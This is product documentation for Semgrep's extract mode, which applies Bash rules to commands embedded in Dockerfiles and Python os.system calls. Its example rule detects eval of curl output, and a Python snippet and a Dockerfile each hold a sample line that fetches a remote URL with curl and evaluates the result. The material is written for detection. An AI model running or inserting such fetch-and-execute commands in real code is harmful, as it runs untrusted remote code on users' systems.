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Extract mode

Introduction

Extract mode enables you to run existing rules on subsections of files where the rule language is different than the language of the file. For example, running a JavaScript rule on code contained inside of script tags in an HTML document.

info

The extract mode feature is still in a very experimental stage and may not work as intended. r2c is planning to improve this feature in the future. Reach out for help and suggestions on the Semgrep Community Slack.

Example of extract mode

Without extract mode, writing rules to validate template, Markdown or configuration files which contain code in another language can be burdensome and require significant rule duplication.

Let's take the following Bash rule as an example (a simplified version of the curl-eval rule from the Semgrep Registry):

rules:
- id: curl-eval
severity: WARNING
languages:
- bash
message: Evaluating data from a `curl` command is unsafe.
mode: taint
pattern-sources:
- pattern: |
$(curl ...)
- pattern: |
`curl ...`
pattern-sinks:
- pattern: eval ...

Usually, Semgrep uses this rule only against Bash files. However, a project might contain Dockerfiles or Python scripts that invoke Bash commandswithout an extract mode rule, Semgrep does not run any Bash rules against commands contained in files of different languages.

However, with extract mode, you can provide Semgrep with instructions on how to extract any Bash commands used in a Docker RUN instruction or as an argument to Python's os.system standard library function.

rules:
- id: extract-docker-run-to-bash
mode: extract
languages:
- dockerfile
pattern: RUN $...CMD
extract: $...CMD
dest-language: bash
- id: extract-python-os-system-to-bash
mode: extract
languages:
- python
pattern: os.system("$CMD")
extract: $CMD
dest-language: bash

By adding the extract mode rules as shown in the previous code snippet, Semgrep matches Bash code contained in the following Python file and reports the contained Bash as matching against the curl-eval rule.

from os import system

if system('eval `curl -s "http://www.very-secure-website.net"`'):
print("Command failed!")
else:
print("Success")

Likewise, if a query included a Dockerfile with an equivalent Bash command, Semgrep reports the contained Bash as matching against the curl-eval rule. See the following Dockerfile example that contains a Bash command:

FROM fedora
RUN dnf install -y unzip zip curl which
RUN eval `curl -s "http://www.very-secure-website.net"`

Extract mode rule schema

Extract mode rules require the following usual Semgrep rule keys:

  • id
  • languages
  • One of pattern, patterns, pattern-either, or pattern-regex

Extract mode rules also require two additional fields:

  • extract
  • dest-language

Extract mode has two optional field:

  • reduce
  • json

The fields specific to extract mode are further explained in the sections below.

extract

The extract key is required in extract mode. The value must be a metavariable appearing in your pattern(s). Semgrep uses the code bound to the metavariable for subsequent queries of non-extract mode rules targeting dest-language.

dest-language

The dest-language key is required in extract mode. The value must be a language tag.

transform

The transform is an optional key in the extract mode. The value of this key specifies whether the extracted content is parsed as raw source code or as a JSON array.

The value of transform key must be one of the following:

no_transform

Extract the matched content as raw source code. This is the default value.

concat_json_string_array

Extract the matched content as a JSON array. Each element of the array correspond to a line the resulting source code. This value is useful in extracting code from JSON formats such as Jupyter Notebooks.

reduce

The reduce key is optional in extract mode. The value of this key specifies a method to combine the ranges extracted by a single rule within a file.

The value of reduce key must be one of the following:

separate

Treat all matched ranges as separate units for subsequent queries. This is the default value.

concat

Concatenate all matched ranges together and treat this result as a single unit for subsequent queries.

Limitations of extract mode

Although extract mode supports JSON array decoding with the json key, it does not support other additional processing for the extracted text, such as unescaping strings.

While extract mode can help to enable rules which try and track taint across a language boundary within a file, taint rules cannot have a source and sink split across the original file and extracted text.


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